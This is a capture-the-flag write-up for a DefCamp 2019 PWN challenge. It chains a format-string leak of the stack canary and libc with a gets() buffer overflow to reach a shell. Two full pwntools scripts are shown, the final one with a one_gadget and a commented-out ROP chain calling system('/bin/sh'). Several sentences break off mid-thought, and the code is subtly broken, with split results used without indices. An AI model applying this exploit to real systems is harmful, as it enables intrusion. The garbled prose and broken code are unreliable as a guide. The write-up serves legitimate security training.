This is the second PWN challenge of the DefCamp CTF 2019 Qualification round. This challenge involved an ASLR, DEP, and Stack Canary bypass using a format string vulnerability and a buffer overflow vulnerability. We are supplied a binary and an IP and port.
We start off by seeing what kind of file this is.
We see that it’s an ELF 64-bit executable and it has not been stripped. This is good for us because when we decompile the binary we will be able to see some of the original variable and function names.
Let’s now check the security options. We use
NX is enabled meaning we cannot execute code on the stack, which indicates that we would need to do
Ok, so now that we got this out of the way, let’s decompile the binary and see what’s inside. We fire up Ghidra and go to the main function.
Looking at the code we can already spot the first vulnerability. Notice how the variable local_58 is read from the user and then used by the
Let’s check this out by inserting a %p which will output the address of a 64-bit binary.
Bingo. We can see that an address is printed out from the stack.
Before we move on, let’s look at the decompiled binary and see what else it does. We can see that after we provide a username, the execution continues with the secret() function. If we look at that function in Ghidra we notice that on line 7 the local_98 variable is set to have a buffer of 136 bytes. This is then read as a user-supplied input on line 12 using gets().
Let’s quickly look at the man page for gets().
Ok. Then let’s start dumping addresses on the stack and see what we get. I used this small python script to iterate through some addresses in order to dump the stack:
from pwn import * ip = "18.104.22.168" port = 1339 context.log_level = 'CRITICAL' context(arch='amd64', os='linux', terminal='xterm') stack = '' for i in range(100): #p = remote(ip,port) p = process("./pwn_secret") payload = "AAAABBBB" + "%" + str(i) + "$p" p.recv(2000) p.sendline(payload) leak = p.recvline() p.recv(2000) p.sendline("CCCCDDDD") #print "i = " + str(i) p.recv(2000) leak_pretty = leak.split(' ').replace("AAAABBBB",'') stack += leak_pretty + ' ' p.close() print '--------------' print stack
When we run the code we get the following output:
Ok, now let’s open the binary in gdb, insert some input and check out how the stack looks like.
As we can see, we have our password buffer, a stack cookie, the base pointer and then the return address. After that the stack goes on with the name input buffer, a stack cookie again, the future base pointer of the stack and the future return address.
We can check to confirm that that’s the cookie by giving the canary command in
In order for us to see the stack layout better, let’s correlate the stack from gdb with the stack we got during our format string leak.
Here we can see things more clearly. On offset 6 of our leak, we find the start of the name buffer. Offset 15 is our cookie and offset 17 is the address of __libc_start_main+231. The last two addresses will be important for our exploit, so we will modify the leak to point to %15$p and %17$p.
We can test this out by manually inserting the format string in our binary.
Ok, so we now have a way to leak the stack cookie and an address somewhere in
readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep __libc_start_main.
We also know from the gdb output that the address leaked is __libc_start_main+231, so we need to take this in account when calculating the base address.
231 is e7 in hex so our calculation for the base address will be:
Leak – offset of __libc_main_start – 0xe7 (231)
Perfect. So now we have all that we need.
We have a way to leak the stack cookie and the address of libc and we also have a buffer overflow vulnerability. We can now use a magic gadget to rewrite the return pointer of the binary and get a shell.
Because on the challenge server, the magic gadget failed, I’m going to show the manual way of directing the binary execution to call system(“/bin/sh”).
For this we need to calculate a few more things. First, we need the offset of system() which we can get using the command:
readelf -s /lib/x86_64-linux-gnu/libc-2.27.so | grep system
Then we will need the offset of the string “/bin/sh” from
strings -a -t x /lib/x86_64-linux-gnu/libc-2.27.so | grep /bin/sh
We also need a pop
The execution logic is the following:
We flood the assigned buffer of 136 with “A”’s, then overwrite the stack cookie with the one we managed to leak. After that, we place a dummy base pointer (in our case “B”’s) and then place our ROP chain for the return address.
The ROP chain consists of the address of pop
This basically jumps the execution of the binary to the pop
The final code for the exploit is as follows:
from pwn import * ip = "22.214.171.124" port = 1339 context.log_level = 'DEBUG' context(arch='amd64', os='linux', terminal='xterm') junk = "A" * 136 formatstr = "AAAABBBB%15$p %17$p" #p = remote(ip,port) p = process('./pwn_secret') raw_input() p.recv(2000) p.sendline(formatstr) leak = p.recvline() leak_cookie = leak.split(' ').replace("AAAABBBB",'').replace(" ",'') leak_libc = leak.split(' ').replace("AAAABBBB",'').replace(" ",'') print "Stack cookie found: " + leak_cookie print "Libc addr found: " + leak_libc cookie = p64(int(leak_cookie, 16)) base = int(leak_libc, 16) - 0x21ab0 - 0xe7 # 0x21b97 ''' # Remote server does not work with one_gadget so we need to manually call system("/bin/sh"): chain = p64(base + 0x2155f) # pop rdi; ret chain += p64(base + 0x1b3e9a) # /bin/sh chain += p64(base + 0x4f440) # call system ''' one_gadget = p64(base + 0x4f2c5) payload = junk + cookie + "BBBBBBBB" + one_gadget # + chain p.sendline(payload) p.interactive()
If we run it we can see that we successfully manage to redirect the execution and open a shell.
The challenge was fairly straight forward, combining two vulnerabilities in order to bypass DEP, ASLR and Stack Canary. All in all, it was a nice experience to participate in the Qualification round of DefCamp 2019 CTF.